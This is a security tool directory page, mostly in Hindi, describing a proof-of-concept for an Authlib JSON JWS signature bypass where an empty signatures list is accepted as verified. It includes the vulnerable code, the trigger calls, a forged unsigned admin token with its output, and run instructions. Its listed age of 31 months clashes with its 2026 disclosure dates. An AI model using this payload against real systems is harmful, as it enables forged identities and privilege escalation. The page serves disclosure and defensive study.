Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-96760 — Authlib 1.7.2: हस्ताक्षर सत्यापन बायपास - सामान्य JSON JWS खाली `signatures` होने पर अहस्ताक्षरित पेलोड स्वीकार करता है | Kitploit
उपकरण/GitHubGitHub/uziii2208/cve-2026-96760
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब सुरक्षाक्रिप्टोग्राफीप्रमाणीकरणलर्निंग और शिक्षा
GitHubuziii2208/cve-2026-96760

CVE-2026-96760

Authlib 1.7.2: हस्ताक्षर सत्यापन बायपास - सामान्य JSON JWS खाली `signatures` होने पर अहस्ताक्षरित पेलोड स्वीकार करता है

रिपॉजिटरी देखें
31 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-96760 - Authlib JWS हस्ताक्षर सत्यापन बायपास PoC

Authlib के authlib.jose मॉड्यूल में हस्ताक्षर सत्यापन बायपास के लिए प्रूफ-ऑफ-कॉन्सेप्ट। JsonWebSignature.deserialize_json() एक खाली signatures सरणी वाले General JSON JWS ऑब्जेक्ट को स्वीकार करता है और हमलावर-नियंत्रित पेलोड को सफलतापूर्वक सत्यापित के रूप में लौटाता है - किसी कुंजी की आवश्यकता नहीं, कोई हस्ताक्षर जाँचा नहीं गया।

भेद्यता

प्रभावित: Authlib ≤ 1.7.2, authlib.jose मॉड्यूल प्रभावित नहीं: कॉम्पैक्ट JWT पथ (jwt.decode())। यह बग JSON Serialization JWS API के लिए विशिष्ट है। CWE: CWE-347 (क्रिप्टोग्राफिक हस्ताक्षर का अनुचित सत्यापन), CWE-670, CWE-358 स्थिति: 1.7.x में अनपैच्ड - authlib.jose मॉड्यूल को Authlib 1.8 में पूरी तरह से हटा दिया गया था, ठीक नहीं किया गया। 1.8 से नीचे पिन किया गया कोई भी डिप्लॉयमेंट उजागर बना हुआ है।

मूल कारण

# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True                                  # starts True
for header_obj in obj["signatures"]:             # zero iterations when signatures = []
    jws_header, valid = self._validate_json_jws(
        payload_segment, payload, header_obj, key
    )
    headers.append(jws_header)
    if not valid:
        is_valid = False

rv = JWSObject(headers, payload, "json")
if is_valid:
    return rv                                    # attacker payload returned as verified
raise BadSignatureError(rv)

is_valid को True से प्रारंभ किया जाता है और इसे केवल लूप बॉडी के अंदर ही बदला जाता है। जब signatures [] होता है, तो लूप शून्य बार चलता है, कोई भी सत्यापन तर्क निष्पादित नहीं होता, और फ़ंक्शन सफलता लौटाता है - एक क्लासिक रिक्त-सत्य दोष। दोनों सार्वजनिक प्रवेश बिंदु प्रभावित हैं:

jws.deserialize_json({"payload": "...", "signatures": []}, key)  # direct
jws.deserialize('{"payload": "...", "signatures": []}', key)     # generic dispatcher

प्रभाव

कोई भी एप्लिकेशन जो deserialize_json() या deserialize() के माध्यम से हमलावर-नियंत्रित JSON JWS इनपुट को सत्यापित करता है, उस इनपुट पर अपनी प्रामाणिकता/अखंडता की गारंटी खो देता है:

  • प्रमाणीकरण बायपास - sub, role, सत्र दावों को जाली बनाना
  • अंतर-सेवा विश्वास बायपास - JSON JWS का आदान-प्रदान करने वाली सेवाओं के बीच मनमाने संदेश इंजेक्ट करना
  • प्राधिकरण जालसाजी - scope, tenant, permissions दावों को गढ़ना

उपयोग

git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py

अपेक्षित आउटपुट

=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
  "payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
  "signatures": [
    {
      "protected": "eyJhbGciOiJIUzI1NiJ9",
      "signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
    }
  ]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'

=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:

=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
  "payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
  "signatures": []
}

[X VULNERABLE] Verification succeeded WITHOUT any signature!
    Payload  : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
    Headers  : []
    Type     : json

    → Attacker fully controls payload content
    → Application trusts payload as signed by trusted party

तीनों केस इस दोष को सटीक रूप से अलग करते हैं: गलत कुंजी के साथ एक वास्तविक हस्ताक्षर सही ढंग से अस्वीकार किया जाता है, सही कुंजी के साथ एक वास्तविक हस्ताक्षर सही ढंग से स्वीकार किया जाता है, और एक खाली हस्ताक्षर सूची - जो सबसे अधिक अस्वीकार किया जाने वाला केस होना चाहिए - चुपचाप स्वीकार कर लिया जाता है।

प्रकटीकरण समयरेखा

  • Authlib अनुरक्षकों को रिपोर्ट किया गया: Jul 28
  • अनुरक्षक द्वारा बंद किया गया, authlib.jose डेप्रिकेशन का हवाला देते हुए (कोई समाधान जारी नहीं): Jul 30
  • CVE-2026-96760 आवंटित: CERT/CC, आरक्षित 2026-09-23, प्रकाशित 2026-09-28
  • authlib.jose को Authlib 1.8 में हटा दिया गया (समाधान के रूप में बैकपोर्ट नहीं किया गया)

श्रेय

uziii2208 और nguyenminhtuan28 द्वारा खोजा और रिपोर्ट किया गया।

अस्वीकरण

यह PoC शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित किया गया है - ताकि अनुरक्षकों, सुरक्षा टीमों और डाउनस्ट्रीम उपयोगकर्ताओं को इस समस्या को समझने और उसका समाधान करने में मदद मिल सके। उन सिस्टमों के विरुद्ध इसका उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

टूल डाउनलोड करें